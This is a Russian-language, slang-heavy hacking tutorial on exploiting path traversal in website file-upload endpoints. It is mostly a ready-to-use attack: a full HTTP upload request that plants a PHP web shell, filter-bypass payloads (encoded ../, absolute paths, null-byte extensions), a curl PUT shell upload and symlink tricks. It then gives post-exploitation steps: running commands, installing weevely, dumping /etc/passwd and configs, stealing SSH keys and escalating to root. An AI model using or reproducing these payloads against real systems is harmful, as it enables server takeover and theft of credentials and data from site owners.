Ты думал, что загрузка файлов на сайте — это безопасно? Хаха, это как оставить дверь открытой с надписью «входи, бери всё». Path Traversal (он же Directory Traversal) в функционале загрузки файлов — это уязвимость, которая позволяет атакующему выйти за пределы назначенной директории и закинуть свой шлак куда угодно: в /etc/passwd, в корень веб-сервера или прям в системные папки. Последствия? От утечки конфигов до RCE, если твой файл — это веб-шелл. Проблема в том, что большинство разработчиков проверяют только расширение файла, а не путь, куда он лезет. Ну что, готов стать кошмаром для админа?
Точка входа
Что вижу: Эндпоинт /upload.php или /api/fileupload принимает файлы без должной валидации пути. Вижу в запросе что-то типа filename=../etc/passwd или подозрительный ответ сервера вроде 500 Internal Error при попытке выхода за директорию.
Как поймал: Запустил Burp Suite, перехватил POST-запрос на загрузку, подставил ../ в параметр имени файла. Альтернативно — прогнал ffuf с payload’ами вроде filename=../../../etc/passwd на предмет реакции сервера. Инструмент — Burp + самописный скрипт на Python для автоматизации.
Чем пахнет: Класс уязвимости — Path Traversal с потенциалом перехода в RCE, если получится закинуть PHP-шелл или другой исполняемый код. Вероятность: 8/10, если сервер не фильтрует пути или делает это криво.
Че почем
Эксплойт: Вот тебе рабочий payload, братан. Если у тебя есть форма загрузки:
1 2 3 4 5 6 7 8 9 10 11 |
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: 123 ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php" Content-Type: application/octet-stream <?php system($_GET['cmd']); ?> ------WebKitFormBoundary-- |
Отправляй это через Burp или curl. Если сервер проглотил (ответ 200 OK), переходи к следующему шагу: вызывай свой шлак через http://target.com/shell.php?cmd=id. Видишь uid=33(www-data)? Поздравляю, ты в игре.
Обход защиты: Если фильтр режет ../, пробуй обход через двойное кодирование (%2e%2e%2f), абсолютные пути (filename=/var/www/html/shell.php) или трюки с ….// (много точек и слэшей). Если проверка на расширение, подсовывай shell.php.jpg или shell.php%00.jpg (null-byte injection, если backend на C/C++). Пример:
1 |
filename=../../../var/www/html/shell.php%00.jpg |
Доказательство: Видишь ответ сервера с твоим кодом или доступ к файлу через браузер? Скриншоть это дерьмо, братан. Это не фотка кота, это твой билет на баг-баунти.
Советы:
3 вектора для добивания:
Если прямой Path Traversal не катит, ищи обход через симлинки (ln -s /etc/passwd /var/www/html/upload/link) или уязвимые параметры в API (?path=../).
Проверяй заголовки ответа и ошибки сервера на предмет утечек путей (Error: cannot write to /var/www/html/upload/../). Это намёк, где копать.
Если загрузка через форму не работает, ищи другие методы (PUT на веб-сервере с curl -X PUT -d «<?php system($_GET[‘cmd’]); ?>» http://target.com/shell.php).
План атаки:
Сканируй эндпоинты загрузки через Burp Suite или ffuf с payload’ами на ../, %2e%2e%2f, /absolute/path/.
Если загрузил шлак — проверяй исполнение через ?cmd=id или заливай полноценный веб-шелл для удобства (например, weevely).
Дампь всё, что можно: /etc/passwd, конфиги из /var/www/html, ищи SSH-ключи. Потом пиверти на полный root через sudo или уязвимости в ядре.
Почему это важно, бро?
Path Traversal в Upload — это не просто баг, это дыра размером с твой монитор. Один успешный payload — и ты читаешь конфиги, второй — и ты root через веб-шелл. Реальный кейс: уязвимости в старых версиях WordPress плагинов (например, CVE-2020-11738 в WP File Manager), где через загрузку с ../ заливали шлак прямо в корень. Эксплойт в открытом доступе на Exploit-DB, просто гугли.